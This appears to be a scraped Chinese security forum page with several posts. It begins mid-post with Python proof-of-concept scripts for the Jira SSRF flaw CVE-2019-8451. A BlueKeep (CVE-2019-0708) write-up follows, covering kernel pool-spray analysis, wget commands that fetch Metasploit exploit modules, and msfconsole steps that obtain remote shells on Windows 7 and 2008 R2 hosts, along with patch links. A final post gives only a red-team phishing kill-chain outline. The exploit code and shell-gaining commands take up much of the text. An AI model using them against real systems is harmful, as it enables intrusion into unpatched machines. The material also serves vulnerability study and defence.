"/plugins/servlet/gadgets/makeRequest?url=" + url + '@' + ssrf_url headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Atlassian-Token": "no-check", "Connection": "close" } r = requests.get(url=vuln_url, headers=headers) if r.status_code == 200 and 'set-cookie' in r.content: print "\n>>>>Send poc Success!\n" print 'X-AUSERNAME= %s' % r.headers.get('X-AUSERNAME') print "\n>>>>vuln_url= " + vuln_url + '\n' print r.content else: print "No Vuln Exit!" if __name__ == "__main__": while True: print ssrf_url = raw_input(">>>>SSRF URL: ") url = "http://10.206.1.8:8080" #需要修改成自己的目标jira系统 ssrf_poc(url, ssrf_url) python CVE-2019-8451.py http://10.206.1.8:8080/ 或者: #!/usr/bin/env python3 import argparse import requests import re G, B, R, W, M, C, end = '\033[92m', '\033[94m', '\033[91m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m' info = end + W + "[-]" + W good = end + G + "[+]" + C bad = end + R + "[" + W + "!" + R + "]" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" def check_version(url): target = url response = send_request(target) print(info + " Checking for version..." + end) r1 = re.search('[0-9]{1}\.[0-9]{1}\.[0-9]{1}', str(response)) print(info + " Jira version appears to be: " + r1.group(0) + end) v1 = '8.4.0' v2 = r1.group(0) if comapre_versions(v1, v2) == False: print(bad + " Version seems to indicate it's probably not vulnerable." + end) else: print(good + " Version seems to indicate it might be vulnerable!" + end) def comapre_versions(v1, v2): for i, j in zip(map(int, v1.split(".")), map(int, v2.split("."))): if i == j: continue return i > j return len(v1.split(".")) > len(v2.split(".")) def check_vuln(url): target = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + "@example.com/" response = send_request(target) print(info + " Sending SSRF test..." + end) if '"rc":200' in response and "Example Domain" in response: print(good + " Host appears to be vulnerable! " + end) else: print(bad + " Host doesn't appear to be vulnerable." + end) def send_request(target): headers = {'X-Atlassian-token':'no-check', 'User-Agent':user_agent} try: r = requests.get(target, headers=headers) except Exception as e: print(bad + " Problem with request! " + end) print(e) exit(-1) if (r.status_code != 200): print(info + " Something went wrong! " + end) if (r.status_code == 302): print(bad + " Redirected. Try this instead: " + r.headers['Location'] + end) else: print(bad + " Status: " + str(r.status_code) + end) exit(-1) return(r.text) if __name__ == '__main__': parser = argparse.ArgumentParser(prog='jira-2019-8451.py', description='For checking if a Jira instance is vunlerable to CVE-2019-8451') parser.add_argument("-u", "--url", help="URL of the target Jira instance e.g. '-u https://localhost:8080'") parser.add_argument("-c", "--check", help="Only check the Jira version; doesn't send SSRF attempt", action='store_true') args = parser.parse_args() if not args.url: print(bad + " Missing parameters " + end) parser.print_help() exit(-1) url = str(args.url) print(info + " Testing " + url + "..." + end) if args.check == True: check_version(url) exit(0) else: check_version(url) check_vuln(url) 使用方法: pip3 install requests $ ./jira-2019-8451.py -h usage: jira-2019-8451.py [-h] [-u URL] [-c] For checking if a Jira instance is vunlerable to CVE-2019-8451 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of the target Jira instance e.g. '-u https://localhost:8080' -c, --check Only check the Jira version; doesn't send SSRF attempt D:\Python\Python37>python C:\Users\Administrator\Desktop\jira-2019-8451.py -u http://10.206.1.8:8080 0x04 修复建议 升级到8.4.0及以上版本 0x05 参考文献 https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A https://nvd.nist.gov/vuln/detail/CVE-2019-8451 https://github.com/jas502n/CVE-2019-8451 https://github.com/ajh11g/Jira-CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793
  11. 0x00 漏洞描述 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广如:windows2003、windows2008、windows2008 R2、windows xp系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。这个漏洞是今年来说危害严重性最大的漏洞,跟之前的勒索,永恒之蓝病毒差不多。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。2019年9月7日晚上凌晨1点左右,metaspolit更新了漏洞利用程序 在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。 0x01 漏洞影响 该漏洞影响旧版本的Windows系统,包括: Windows 7、Windows Server 2008 R2、Windows Server 2008、Windows 2003、Windows XP。 Windows 8和Windows 10及之后版本不受此漏洞影响。 0x02 cve_2019_0708_bluekeep_rce.rb 介绍 此PR为CVE-2019-0708(又名BlueKeep)添加了一个漏洞利用模块,该模块通过RDP利用远程Windows内核释放后使用漏洞。rdp termdd.sys驱动程序未正确处理绑定到仅限内部的通道ms_t120,从而允许格式错误的断开连接提供程序指示消息导致释放后被使用。利用可控制的数据和远程非分页面池堆喷射,使用空闲信道的间接调用小工具来实现任意代码执行。 这个模块最初由@zerosum0x0和@ryhanson开发,然后由@oj、@zerosteiner、@rickoates、@wvu-r7、@bwatters-r7、@wchen-r7、@tsellers-r7、@todb-r7和其他人进一步开发。为了利用metasploit中的rdp和其他库增强功能,该模块从python外部模块移植到本机ruby模块。果您希望检查并将其与当前实现进行比较,则原始Python模块位于提交历史记录中。 该模块当前以64位版本的Windows 7和Windows Server 2008 R2为目标。对于Windows Server 2008 R2,需要修改注册表项以启用通过rdpsnd通道进行堆喷射,但仍有其他可能使用在所有Windows操作系统上默认启用的备用通道。 由于用户需要提供额外的目标信息或有使目标主机崩溃的风险,该模块目前被列为手动模块。该模块实现了一个默认的仅指向的目标选项,该选项只检查易受攻击的主机,并显示有关特定目标操作系统的一些初始信息,但用户需要根据辅助侦察指定更精确的目标或直到进一步改进模块可以在运行时更准确地确定目标内核内存布局。 有针对没有打补丁的,裸机、VirtualBox、VMWare和Hyper-V的特定目标,尽管目标环境中可能还有其他变量,这些变量会额外转移基础地址以进行修饰。 0x03 漏洞分析 1. PDU 根据MS-RDPBCGR(远程桌面协议:连接和远程处理)文档,位图缓存PDU的全名是TS_BITMAPCACHE_PERSISTENT_LIST_PDU,密钥列表PDU数据被嵌入在永久密钥列表PDU中。永久密钥列表PDU是在客户端从客户端发送到服务器的RDP连接序列PDU RDP连接序列的连接完成阶段,如图1所示。 图1.远程桌面协议(RDP)连接顺序 永久密钥列表PDU报头是通用RDP PDU报头,其构造如下,如图2所示:tpktHeader(4字节)+ x224Data(3字节)+ mcsSDrq(变量)+ securityHeader(变量)。 图2.客户端持久密钥列表PDU 根据MS-RDPBCGR文档,TS_BITMAPCACHE_PERSISTENT_LIST_PDU是一个结构,其中包含从先前会话中发送的高速缓存位图中保存的高速缓存位图密钥列表。如图3所示。 图3.持久密钥列表PDU数据(BITMAPCACHE PERSISTENT LIST PDU) 根据设计,位图缓存PDU用于RDP客户端通知服务器它具有与密钥相关联的位图的本地副本,这表明服务器不需要将位图重新发送到客户端。基于MS-RDPBCGR文档,Bitmap PDU有四个特征: RDP服务器将分配内核池来存储缓存的位图键。 RDP服务器分配的内核池大小可以通过结构中的“WORD值”numEntriesCache X字段来控制,而BITMAPCACHE PERSISTENT中的totalEntriesCache X是RDP客户端的LIST结构。 位图缓存PDU可以合法地多次发送,因为位图密钥可以在多个持久密钥列表PDU中发送,每个PDU使用bBitMask字段中的标记来标记。 位图键的数量限制为169。 基于BITMAPCACHE PERSISTENT LIST PDU的这四个特性,如果可以绕过限制为169的位图键数量,那么就可以将任意数据写入内核。 2.如何使用PDU将数据写入内核 根据MS-RDPBCGR文档,正常解密的BITMAPCACHE PERSISTENT LIST PDU如下所示: f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes 17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017 0x0017 = 0x0010 | 0x0007 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007 ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea 00 -> TS_SHAREDATAHEADER::pad1 01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1) 00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0 2b -> TS_SHAREDATAHEADER::pduType2 = PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43) 00 -> TS_SHAREDATAHEADER::generalCompressedType = 0 00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0 19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0 19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0 03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03 0x03 = 0x01 | 0x02 = PERSIST_FIRST_PDU | PERSIST_LAST_PDU 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2 00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3 TS_BITMAPCACHE_PERSISTENT_LIST::entries: a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1) 48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2) 61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1) cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2) 在内核模块RDPWD.sys中,函数例程ShareClass :: SBC_HandlePersistentCacheList负责解析BITMAPCACHE PERSISTENT LIST PDU。当结构中的bBitMask字段被设置为位值0x01时,它指出当前PDU是PERSIST FIRST PDU。然后,SBC_HandlePersistentCacheList将调用WDLIBRT_MemAlloc来分配内核池(分配内核内存)以存储持久位图缓存键,如图4所示。值0x00表示当前PDU是PERSIST MIDDLE PDU。值0x02表示当前PDU是PERSIST LAST PDU。解析PERSIST MIDDLE PDU和PERSIST LAST PDU时,SBC_HandlePersistentCacheList会将位图缓存键复制到之前分配的内存中,如图5所示。 图4. SBC_HandlePersistentCacheList池分配和totalEntriesCacheLimit检查 图5. SBC_HandlePersistentCacheList复制位图缓存键 Windows 7 x86上的堆栈跟踪和SBC_HandlePersistentCacheList的TS_BITMAPCACHE_PERSISTENT_LIST结构的第二个参数如图6和图7所示。 图6. SBC_HandlePersistentCacheList堆栈跟踪 图7. TS_BITMAPCACHE_PERSISTENT_LIST结构作为SBC_HandlePersistentCacheList的第二个参数 如图4所示,bitmapCacheListPoolLen = 0xC *(总长度+4)和总长度= totalEntriesCache0 + totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4。 基于此公式,我们可以设置“WORD值”totalEntriesCache X = 0xffff,使bitmapCacheListPoolLen为最大值。但是,对于图8中显示的每个totalEntriesCache X,都有一个totalEntriesCacheLimit检查. totalEntriesCacheLimit X来自TS_BITMAPCACHE_CAPABILITYSET_REV2结构,该结构在通过RDPWD调用DCS_Init时在CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2函数中启动,如图8所示。这将在解析确认PDU时组合在CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数中,如图9所示。 图8. RDPWD!CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2 图9. RDPWD!CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2将服务器启动的NumCellCaches(0x03)和totalEntriesCacheLimit [0-4](0x258,0x258,0x10000,0x0,0x0)与客户端请求NumCellCaches(0x03)和totalEntriesCache [0-4](0x80000258,0x80000258,0x8000fffc,0x0)组合在一起,0x0),如图9中的edx和esi寄存器所示。 客户端可以控制NumCellCaches和totalEntriesCache [0-4],如图10所示,但它们不能通过服务器启动的NumCellCaches(0x03)和totalEntriesCacheLimit [0-4] ](0x258,0x258,0x10000,0x0,0x0)如图11所示。 图10. TS_BITMAPCACHE_CAPABILITYSET_REV2 图11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数 有了这些信息,我们可以计算出最大bitmapCacheListPoolLen = 0xC *(0x10000 + 0x258 + 0x258 + 4)= 0xc3870,理论上可以控制内核池中的0x8 *(0x10000 + 0x258 + 0x258 + 4)= 0x825a0字节数据,如图所示在图12中。 图12.持久密钥列表PDU内存转储 但是,观察到并非所有数据都可以由位图缓存列表池中的RDP客户端按预期被控制。每个8字节受控数据之间存在4字节不受控制的数据(索引值),这对于shellcode存放是不太友好的。此外,0xc3870大小的内核池不能多次分配,因为持久密钥列表PDU只能合法地发送一次。但是,仍然存在特定的统计特征,即内核池将在相同的内存地址处分配。此外,在位图缓存列表池分配之前总是有一个0x2b522c(在x86上)或0x2b5240(在x64上)内核大小的池,这对于堆分配非常有用,尤其是在x64上,如图13所示。 图13.持久密钥列表PDU统计特性 3.刷新Rect PDU 根据MS-RDPBCGR文档,刷新PDU会使RDP客户端请求服务器重新分配一个会话。该结构包括通用PDU头和图14中所示的refreshRectPduData(变量)。 图14.刷新Rect PDU数据 numberOfAreas字段是一个8位无符号整数,用于定义areasToRefresh字段中的包含Rectangle结构的数量。areaToRefresh字段是TS_RECTANGLE16结构的数组,如图15所示。 图15.包含Rectangle(TS_RECTANGLE16) Refresh Rect PDU通过一系列“Inclusive Rectangles”操作通知服务器,以使服务器重新分配一个会话。基于默认通道,通道ID为0x03ea(服务器通道ID)。连接序列完成后,如图1所示,RDP服务器可以接收/解析刷新矩阵PDU,最重要的是,可以合法地多次发送。虽然对于TS_RECTANGLE16结构仅限于8个字节,意味着RDP客户端只能控制8个字节,但仍然可以将任意数据写入内核。 4.使用Refresh Rect PDU将数据写入内核 正常解密的Refresh Rect PDU如图16所示。 图16.解密的Refresh Rect PDU 内核模块RDPWD.sys代码函数WDW_InvalidateRect负责解析Refresh Rect PDU,如下面的图17所示。 图17. RDPWD!WDW_InvalidateRect堆栈跟踪 如图18所示,WDW_InvalidateRect函数将解析Refresh Rect PDU流并从流中检索numberOfAreas字段作为循环计数。作为字节类型字段,numberOfAreas的最大值为0xFF,因此最大循环计数为0xFF。在循环中,WDW_InvalidateRect函数将获得TS_RECTANGLE16结构中的左,上,右和下字段,将它们放在堆栈中的结构中,并将其作为WDICART_IcaChannelInput的第 5 个参数。这里要提到的是,WDICART_IcaChannelInput的第6 个参数是常数0x808,我们将展示它如何有效地实现堆喷。 图18. RDPWD!WDW_InvalidateRect函数 WDICART_IcaChannelInput最终将调用内核模块termdd.sys函数IcaChannelInputInternal。如图19所示,如果一系列条件检查为True,则函数IcaChannelInputInternal将调用ExAllocatePoolWithTag来分配inputSize_6th_para + 0x20大小的内核池。因此,当函数IcaChannelInputInternal由 RDPWD!WDW_InvalidateRect,inputSize_6th_para = 0x808调用时,内核池的大小为0x828。 图19. termdd!IcaChannelInputInternal ExAllocatePoolWithTag和memcpy 如果内核池分配成功,将调用memcpy将input_buffer_2复制到新分配的内核池内存。图20显示了当调用者是RDPWD!WDW_InvalidateRect时memcpy的参数。 图20. termdd!IcaChannelInputInternal memcpy windbg转储 有趣的是,函数memcpy的源地址来自RDPWD!WDW_InvalidateRect堆栈上的stRect结构,只有前3个DWORD在RDPWD!WDW_InvalidateRect中设置,如图21所示。剩余内存是堆栈上未初始化的内容,很容易导致信息泄露。此外,使用0x808大小的内存来存储12个字节的数据对于堆喷也是很友好的。 图21. RDPWD!WDW_InvalidateRect stRect结构集 使用此信息,当RDP客户端发送一个具有0xFF的numberOfAreas字段的Refresh Rect PDU时,RDP服务器将调用termdd!IcaChannelInputInternal 0xFF次。每个termdd!IcaChannelInputInternal调用将分配0x828内核池内存并将8个字节的客户端控制的TS_RECTANGLE16结构复制到该内核池。因此,numberOfAreas字段为0xFF的一个Refresh Rect PDU将分配0xFF数量的0x828大小的内核池。理论上,如果RDP客户端发送刷新矩阵PDU 0x200次,则RDP服务器将分配大约0x20000的0x828大小的非分页内核池。考虑到0x828大小的内核池将与0x1000对齐,它们将跨越内核池的非常大的范围,同时,客户端控制的8个字节的数据将被复制到每个0x1000内核池中固定的0x02c偏移量。如图22所示,我们在内核中使用Refresh Rect PDU获得稳定的pool spray。 图22. RDPWD!WDW_InvalidateRect pool spray 有些情况下,当指针(在图23中表示为变量v14)被termdd!IcaQueueReadChannelRequest修改并且比较将为False时,不会调用ExAllocatePoolWithTag和memcpy,如图23所示,该路由将进入例程IcaCopyDataToUserBuffer,这将导致池分配不成功。但是,当多次发送Refresh Rect PDU时,即使存在一些不成功的池分配,我们仍然可以获得成功的内核池喷射。 此外,有些情况下一些内核池小号的RDP服务器使用完之后可以被释放,但是内核池的内容将不会被清零,使得我们喷到内核有效的利用使用数据。 图23. termdd!IcaChannelInputInternal IcaCopyDataToUserBuffer 5.RDPDR客户端name请求PDU 根据MS-RDPEFS文档,RDPDR客户端名称请求PDU在[远程桌面协议:文件系统虚拟通道扩展]中指定,该扩展在名为RDPDR的静态虚拟通道上运行。MS-RDPEFS协议的目的是将访问从服务器重定向到客户端文件系统。客户端名称请求是从客户端发送到服务器的第二个PDU,如图24所示。 图24.文件系统虚拟通道扩展协议初始化 客户端名称请求PDU用于客户端将其机器名称发送到服务器,如图25所示。 图25.客户端名称请求(DR_CORE_CLIENT_NAME_REQ) 标头是四个字节RDPDR_HEADER,其中Component字段设置为RDPDR_CTYP_CORE,PacketId字段设置为PAKID_CORE_CLIENT_NAME。ComputerNameLen字段(4个字节)是一个32位无符号整数,它指定ComputerName字段中的字节数。ComputerName字段(变量)是ASCII或Unicode字符的可变长度数组,其格式由UnicodeFlag字段确定。这是一个标识客户端计算机名称的字符串。 6. 使用RDPDR客户端name请求PDU将数据写入内核 关于RDPDR客户端名称请求PDU,客户端名称请求PDU可以合法地多次发送,对于每个请求,RDP服务器将分配内核池来存储该信息,最重要的是,PDU的内容和长度可以由RDP客户端完全控制。这使它成为将数据写入内核内存的绝佳选择。 典型的RDPDR客户端名称请求PDU如图26所示。 图26.客户端名称请求内存转储 当RDP服务器接收RDPDR客户端名称请求PDU时,调用内核模块termdd.sys中的函数IcaChannelInputInternal以首先调度信道数据,然后将调用RDPDR模块来解析客户端名称请求PDU 的数据部分。客户端名称请求PDU的函数IcaChannelInputInternal应用与Refresh Rect PDU有相同的代码逻辑。它将调用ExAllocatePoolWithTag来分配带有标记TSic的内核内存,并使用memcpy将客户端名称请求数据复制到新分配的内核内存,如图27所示。 图27.客户端名称请求 到目前为止,我们已经证明复制的数据内容和长度都由RDP客户端控制,并且客户端名称请求PDU可以合法地多次发送。由于其灵活性和利用漏洞的特性,客户端名称请求PDU可用于回收UAF漏洞利用中的释放内核池,也可用于将shellcode写入内核池,甚至可以使用将连续的客户端控制数据喷射到内核内存中。 如图28所示,我们成功获得了稳定的池分配,并使用RDPDR客户端名称请求PDU将客户端控制的数据写入内核池。 图28.客户端名称请求稳定池分配 上面介绍了使用RDP PDU将数据写入内核的三种方法。 位图缓存PDU允许RDP服务器在0x2b5200大小的池分配之后分配0xc3870大小的内核池并将可控数据写入其中,但不能多次执行0xc3870大小的内核池分配。 刷新Rect PDU可以喷射许多0x828大小的内核池,这些内核池是0x1000对齐的,并将8个可控字节写入每个0x828大小的内核池中。 0x04 漏洞复现 1.测试环境: 攻击机:kali2019.2 靶机: win7 sp1 7601 和 win2008r2 sp1 english standard Windows7 SP1下载地址: ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/ win2008r2 sp1 下载地址: http://download.microsoft.com/download/7/5/E/75EC4E54-5B02-42D6-8879-D8D3A25FBEF7/7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso 2.复现测试 (1).替换所需文件 cve_2019_0708_bluekeep_rce.rb 替换 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ #如果没有RDP目录需要自检 rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb Kali下执行如下命令进行替换: wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/ cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/ cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/ cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ (2) 攻击window7 sp1漏洞复现 MSF下执行如下命令: msfconsole msf5>reload_all #重新加载所有模块 msf5 > search cve_2019_0708_bluekeep_rce msf5>use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >info msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.7 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1 #如果设置目标为3(set taget 3),可能会出现蓝屏现象,因此这里设置target 1(我这里是exis中的主机) msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit meterprter>shell 可以看到成功反弹win7sp1 系统shell,根据实际情况选择target(可以先测试3再测试2再测试1) (2) 攻击window 2008r2 sp1漏洞复现 需要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdp-tcp\fDisableCam]值修改为0(系统默认为1) 在MSF下执行如下命令: msf5 > search cve_2019_0708_bluekeep_rce msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.10 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rport 3389 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2 msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit 可以看到成功反弹出目标win2008 r2的shell,该漏洞有点鸡肋,目前测试时windows2008 r2 sp1 english版本且需要修改注册表才能成功利用。 0x05 漏洞修复建议 CVE-2019-0708漏洞修复补丁以及安全建议 有些windows2008系统打不了补丁的一般是数据中心版本,可以设置一下服务器,计算机右键属性-远程设置-仅允许运行使用网络基本身份验证的远程桌面的计算机连接(更安全)(N),在这行点勾,然后确认即可,可以临时的防止漏洞的攻击。 如果对补丁不知道该如何修复的,可以启用阿里云的端口安全策略,禁止掉3389远程端口,只允许自己的IP通信即可。 1.Windows Server 2008 漏洞补丁系列下载地址 Windows Server 2008 32位系统: http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu Windows Server 2008 x64位系统: http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu Windows Server 2008 R2 Itanium系统: http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu Windows Server 2008 R2 x64系统: http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu Windows Server 2008 Itanium: http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu 2.Windows Server 2003 漏洞补丁系列下载地址 Windows Server 2003 32位系统: http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe Windows Server 2003 64位系统: http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe 3. Windows XP 漏洞补丁系列下载地址 Windows XP SP3 32位系统: http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe Windows XP SP2 64位系统: http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe Windows XP SP3 for XPe: http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe 0x06 参考文献 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/ https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://github.com/rapid7/metasploit-framework/pull/12283 https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961?from=groupmessage https://mp.weixin.qq.com/s/6ROmesCqtfkLFYliwidcEw https://github.com/rapid7/metasploit-framework/pull/12283/files
  12. 0x00 准备钓鱼攻击(从公开资源) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x02 发送钓鱼邮件(到目标组织员工邮箱地址) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x03 发送payload(到目标组织的员工系统) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x04 运行payload命令(在目标组织员工系统上) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x05 维持本地持久化(在目标组织员工系统上) 1.常见的红队攻击向量和技 2.常见的蓝队侦查和预防控制 0x06 获取命令&控制通道(从员工系统上) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x07 升级本地权限(在员工系统上) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x08 执行本地侦察/发现(在员工系统上) 1.常见的红队攻击向量和技术 2,常见的蓝队侦查和预防控制 0x09 执行网络侦察/发现(在网络上) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x10 进行横向渗透(在系统和网络间) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x11 升级域权限(通过常见的载体) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x12 查找和访问敏感数据(常见的数据存储中) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 0x13 泄露敏感数据(使用公共通道) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 日志记录/SIEM(安全信息和事件管理)/警报 0x14 无C2的情况维护远程访问(使用通用接口) 1.常见的红队攻击向量和技术 2.常见的蓝队侦查和预防控制 from: https://mp.weixin.qq.com/s/-TpfufjnXFy3WMZrZfDOZQ
